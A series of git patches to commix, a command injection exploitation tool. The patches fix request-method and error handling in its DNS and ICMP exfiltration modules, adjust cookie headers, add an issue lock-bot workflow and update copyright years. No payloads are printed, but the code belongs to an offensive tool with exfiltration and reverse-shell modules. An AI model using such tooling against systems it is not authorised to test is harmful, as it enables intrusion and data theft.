sys.stdout.write("\n" + settings.print_payload(payload))
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
url = url.replace(settings.INJECT_TAG, "")
data = payload.replace(" ", "%20")
request = url + data
@@ -185,7 +185,7 @@ def dns_exfiltration_handler(url, http_request_method):
print("\n" + settings.print_critical_msg(err_msg))
os._exit(0)
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
#url = parameters.do_GET_check(url, http_request_method)
vuln_parameter = parameters.vuln_GET_param(url)
request = _urllib.request.Request(url)
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index d390152942..629498bc53 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -84,7 +84,7 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src):
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload) + "\n")
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
url = url.replace(settings.INJECT_TAG, "")
data = payload.replace(" ", "%20")
req = url + data
@@ -212,7 +212,7 @@ def icmp_exfiltration_handler(url, http_request_method):
print(settings.print_critical_msg(err_msg) + "\n")
os._exit(0)
- if not menu.options.data:
+ if http_request_method != settings.HTTPMETHOD.POST:
#url = parameters.do_GET_check(url, http_request_method)
request = _urllib.request.Request(url)
headers.do_check(request)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 337e410571..2664258a00 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "32"
+REVISION = "33"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From a7f87e72496fd9746731486ec07c69718d624125 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 23 Dec 2021 08:55:00 +0200
Subject: [PATCH 034/560] Fixes
https://github.com/commixproject/commix/issues/724
---
src/core/main.py | 2 +-
src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +-
src/core/requests/requests.py | 2 +-
src/utils/settings.py | 2 +-
4 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index 0d1f513615..bd8dd8b4ff 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -516,7 +516,7 @@ def main(filename, url):
print(settings.print_critical_msg(str(err_msg.code)))
raise SystemExit()
except _urllib.error.URLError as err_msg:
- print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + "."))
+ print(settings.print_critical_msg(str(err_msg.reason) + "."))
raise SystemExit()
try:
info_msg = "Performing identification checks to the target URL."
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 629498bc53..859960da4e 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -109,7 +109,7 @@ def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src):
raise SystemExit()
except _urllib.error.URLError as err_msg:
- print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + "."))
+ print(settings.print_critical_msg(str(err_msg.reason) + "."))
raise SystemExit()
except _http_client.InvalidURL as err:
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 9a5d0a1cad..c389ddd81a 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -202,7 +202,7 @@ def estimate_response_time(url, timesec):
except _urllib.error.URLError as err_msg:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(str(err_msg.args[0]).split("] ")[1] + "."))
+ print(settings.print_critical_msg(str(err_msg.reason) + "."))
raise SystemExit()
except ValueError as err_msg:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 2664258a00..7c3238dde8 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "33"
+REVISION = "34"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 8019d691d3b5a45b1dcb558a0b32a5ef2febc8ec Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 24 Dec 2021 08:31:25 +0200
Subject: [PATCH 035/560] Fixes
https://github.com/commixproject/commix/issues/726
---
src/core/main.py | 9 ++++-----
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 6 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index bd8dd8b4ff..0f220fa438 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -768,11 +768,10 @@ def main(filename, url):
pass
else:
break
- if http_request_method != settings.HTTPMETHOD.POST:
- question_msg = "Please enter POST data (--data) [Enter for none] > "
- menu.options.data = _input(settings.print_question_msg(question_msg))
- if len(menu.options.data) == 0:
- menu.options.data = False
+ question_msg = "Please enter POST data (--data) [Enter for none] > "
+ menu.options.data = _input(settings.print_question_msg(question_msg))
+ if len(menu.options.data) == 0:
+ menu.options.data = False
# Retries when the connection timeouts.
if menu.options.retries:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 7c3238dde8..4e831dad34 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "34"
+REVISION = "35"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 2b08b465f88f859b3714221c997f037a37a4c093 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 25 Dec 2021 11:14:20 +0200
Subject: [PATCH 036/560] Fixes for
https://github.com/commixproject/commix/commit/ce70654625ad8db15a51f82c5068092cee41f568
---
src/core/injections/controller/checks.py | 2 +-
src/core/requests/headers.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 118d6c3be1..89bcc1e091 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -83,7 +83,7 @@ def not_declared_cookies(response):
err_msg = "'" + set_cookies + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
- except KeyError:
+ except (KeyError, TypeError):
pass
"""
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index b73162bc84..67d89eefdc 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -235,7 +235,7 @@ def https_open(self, req):
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
# Checks for not declared cookie(s), while server wants to set its own.
- if menu.options.cookie == None and not menu.options.drop_set_cookie:
+ if response.headers['set-cookie'] and menu.options.cookie == None and not menu.options.drop_set_cookie:
checks.not_declared_cookies(response)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4e831dad34..1c7c1cb50a 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "35"
+REVISION = "36"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 93acbd362812fdb3b411e4c17cfb6cf98e4be0c8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 25 Dec 2021 12:02:33 +0200
Subject: [PATCH 037/560] Fix for
https://github.com/commixproject/commix/commit/2b08b465f88f859b3714221c997f037a37a4c093
---
src/core/requests/headers.py | 2 +-
src/utils/settings.py | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 67d89eefdc..b73162bc84 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -235,7 +235,7 @@ def https_open(self, req):
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
# Checks for not declared cookie(s), while server wants to set its own.
- if response.headers['set-cookie'] and menu.options.cookie == None and not menu.options.drop_set_cookie:
+ if menu.options.cookie == None and not menu.options.drop_set_cookie:
checks.not_declared_cookies(response)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 1c7c1cb50a..40914ce4f1 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "36"
+REVISION = "37"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 90e5ee68d194468d9aac53437d98acc7487f9ee6 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 26 Dec 2021 10:00:39 +0200
Subject: [PATCH 038/560] Added lock-bot
---
.github/workflows/lockbot.yml | 17 +++++++++++++++++
src/utils/settings.py | 2 +-
2 files changed, 18 insertions(+), 1 deletion(-)
create mode 100644 .github/workflows/lockbot.yml
diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml
new file mode 100644
index 0000000000..8145a665f8
--- /dev/null
+++ b/.github/workflows/lockbot.yml
@@ -0,0 +1,17 @@
+name: 'LockBot'
+
+on:
+ schedule:
+ - cron: '0 1 * * *'
+
+permissions:
+ issues: write
+
+jobs:
+ action:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: dessant/lock-threads@v2
+ with:
+ issue-lock-inactive-days: '90'
+ issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.'
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 40914ce4f1..21944c9a9c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "37"
+REVISION = "38"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From e845dde0caffe63b09565ab4cfadb96b0ee33259 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 27 Dec 2021 10:12:30 +0200
Subject: [PATCH 039/560] Minor update
---
src/core/injections/controller/controller.py | 4 +++-
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index e151fde884..dd0fd7a2b9 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -105,7 +105,9 @@ def heuristic_basic(url, http_request_method):
else:
if settings.INJECT_TAG in url:
tmp_url = url.replace(settings.INJECT_TAG, payload)
- request = _urllib.request.Request(tmp_url, data, headers={"Cookie": cookie})
+ request = _urllib.request.Request(tmp_url, data)
+ if cookie:
+ request.add_header(settings.COOKIE, cookie)
headers.do_check(request)
response = requests.get_request_response(request)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 21944c9a9c..383b26e3aa 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -222,7 +222,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "38"
+REVISION = "39"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 6e138cdd9ed8f01c260afd5f1f56314010197cd4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 4 Jan 2022 09:31:22 +0200
Subject: [PATCH 040/560] Copyright year update
---
LICENSE.txt | 2 +-
commix.py | 2 +-
src/__init__.py | 2 +-
src/core/__init__.py | 2 +-
src/core/compat.py | 2 +-
src/core/convert.py | 2 +-
src/core/injections/__init__.py | 2 +-
src/core/injections/blind/__init__.py | 2 +-
src/core/injections/blind/techniques/__init__.py | 2 +-
src/core/injections/blind/techniques/time_based/__init__.py | 2 +-
.../injections/blind/techniques/time_based/tb_enumeration.py | 2 +-
.../injections/blind/techniques/time_based/tb_file_access.py | 2 +-
src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +-
.../injections/blind/techniques/time_based/tb_injector.py | 2 +-
.../injections/blind/techniques/time_based/tb_payloads.py | 2 +-
src/core/injections/controller/__init__.py | 2 +-
src/core/injections/controller/checks.py | 2 +-
src/core/injections/controller/controller.py | 2 +-
src/core/injections/controller/parser.py | 2 +-
src/core/injections/controller/shell_options.py | 2 +-
src/core/injections/results_based/__init__.py | 2 +-
src/core/injections/results_based/techniques/__init__.py | 2 +-
.../injections/results_based/techniques/classic/__init__.py | 2 +-
.../results_based/techniques/classic/cb_enumeration.py | 2 +-
.../results_based/techniques/classic/cb_file_access.py | 2 +-
.../injections/results_based/techniques/classic/cb_handler.py | 2 +-
.../results_based/techniques/classic/cb_injector.py | 2 +-
.../results_based/techniques/classic/cb_payloads.py | 2 +-
.../results_based/techniques/eval_based/__init__.py | 2 +-
.../results_based/techniques/eval_based/eb_enumeration.py | 2 +-
.../results_based/techniques/eval_based/eb_file_access.py | 2 +-
.../results_based/techniques/eval_based/eb_handler.py | 2 +-
.../results_based/techniques/eval_based/eb_injector.py | 2 +-
.../results_based/techniques/eval_based/eb_payloads.py | 2 +-
src/core/injections/semiblind/__init__.py | 2 +-
src/core/injections/semiblind/techniques/__init__.py | 2 +-
.../injections/semiblind/techniques/file_based/__init__.py | 2 +-
.../semiblind/techniques/file_based/fb_enumeration.py | 2 +-
.../semiblind/techniques/file_based/fb_file_access.py | 2 +-
.../injections/semiblind/techniques/file_based/fb_handler.py | 2 +-
.../injections/semiblind/techniques/file_based/fb_injector.py | 2 +-
.../injections/semiblind/techniques/file_based/fb_payloads.py | 2 +-
.../semiblind/techniques/tempfile_based/__init__.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_file_access.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +-
src/core/main.py | 2 +-
src/core/modules/__init__.py | 2 +-
src/core/modules/dns_exfiltration/__init__.py | 2 +-
src/core/modules/dns_exfiltration/dns_exfiltration.py | 2 +-
src/core/modules/icmp_exfiltration/__init__.py | 2 +-
src/core/modules/icmp_exfiltration/icmp_exfiltration.py | 2 +-
src/core/modules/modules_handler.py | 2 +-
src/core/modules/shellshock/__init__.py | 2 +-
src/core/requests/__init__.py | 2 +-
src/core/requests/authentication.py | 2 +-
src/core/requests/headers.py | 2 +-
src/core/requests/parameters.py | 2 +-
src/core/requests/proxy.py | 2 +-
src/core/requests/redirection.py | 2 +-
src/core/requests/requests.py | 2 +-
src/core/requests/tor.py | 2 +-
src/core/shells/__init__.py | 2 +-
src/core/shells/bind_tcp.py | 2 +-
src/core/shells/reverse_tcp.py | 2 +-
src/core/tamper/__init__.py | 2 +-
src/core/tamper/backslashes.py | 2 +-
src/core/tamper/backticks.py | 2 +-
src/core/tamper/base64encode.py | 2 +-
src/core/tamper/caret.py | 2 +-
src/core/tamper/dollaratsigns.py | 2 +-
src/core/tamper/doublequotes.py | 2 +-
src/core/tamper/hexencode.py | 2 +-
src/core/tamper/multiplespaces.py | 2 +-
src/core/tamper/nested.py | 2 +-
src/core/tamper/singlequotes.py | 2 +-
src/core/tamper/slash2env.py | 2 +-
src/core/tamper/sleep2timeout.py | 2 +-
src/core/tamper/sleep2usleep.py | 2 +-
src/core/tamper/space2htab.py | 2 +-
src/core/tamper/space2ifs.py | 2 +-
src/core/tamper/space2plus.py | 2 +-
src/core/tamper/space2vtab.py | 2 +-
src/core/tamper/uninitializedvariable.py | 2 +-
src/core/tamper/xforwardedfor.py | 2 +-
src/core/testing.py | 2 +-
src/thirdparty/__init__.py | 2 +-
src/utils/__init__.py | 2 +-
src/utils/colors.py | 2 +-
src/utils/common.py | 2 +-
src/utils/crawler.py | 2 +-
src/utils/install.py | 2 +-
src/utils/logs.py | 2 +-
src/utils/menu.py | 2 +-
src/utils/purge.py | 2 +-
src/utils/requirments.py | 2 +-
src/utils/session_handler.py | 2 +-
src/utils/settings.py | 4 ++--
src/utils/simple_http_server.py | 2 +-
src/utils/update.py | 2 +-
src/utils/version.py | 2 +-
103 files changed, 104 insertions(+), 104 deletions(-)
diff --git a/LICENSE.txt b/LICENSE.txt
index 9c2451501f..1fcc28efab 100644
--- a/LICENSE.txt
+++ b/LICENSE.txt
@@ -1,4 +1,4 @@
-Copyright (c) 2014-2021 Anastasios Stasinopoulos
+Copyright (c) 2014-2022 Anastasios Stasinopoulos
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/commix.py b/commix.py
index 63b7f7e283..3d1b518bf2 100755
--- a/commix.py
+++ b/commix.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/__init__.py b/src/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/__init__.py
+++ b/src/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/__init__.py b/src/core/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/__init__.py
+++ b/src/core/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/compat.py b/src/core/compat.py
index 2db6ac6049..48af6f3a36 100644
--- a/src/core/compat.py
+++ b/src/core/compat.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/convert.py b/src/core/convert.py
index f3af657c5e..4a14cf9f99 100644
--- a/src/core/convert.py
+++ b/src/core/convert.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/__init__.py
+++ b/src/core/injections/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/blind/__init__.py
+++ b/src/core/injections/blind/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/blind/techniques/__init__.py
+++ b/src/core/injections/blind/techniques/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/blind/techniques/time_based/__init__.py
+++ b/src/core/injections/blind/techniques/time_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index e93ee1ff02..5e8ed6eb42 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 40aff2e61a..896b82aef8 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index 9ceb58bddc..aabbfb621a 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index a1352661fd..d0c8dc64a6 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index 9cf94630f8..e2a27a57c4 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/controller/__init__.py
+++ b/src/core/injections/controller/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 89bcc1e091..cb8acc9dc8 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index dd0fd7a2b9..110a7889f2 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index 1d095c11b2..aee6857af8 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py
index 1837647ee2..cf5e41b9ca 100755
--- a/src/core/injections/controller/shell_options.py
+++ b/src/core/injections/controller/shell_options.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/results_based/__init__.py
+++ b/src/core/injections/results_based/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/results_based/techniques/__init__.py
+++ b/src/core/injections/results_based/techniques/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py
index b50e6972c9..7ce1185b92 100644
--- a/src/core/injections/results_based/techniques/classic/__init__.py
+++ b/src/core/injections/results_based/techniques/classic/__init__.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index 80f3bafa09..6f8e81fe99 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py
index 6f1f75ef28..e8b7c86ca9 100755
--- a/src/core/injections/results_based/techniques/classic/cb_file_access.py
+++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
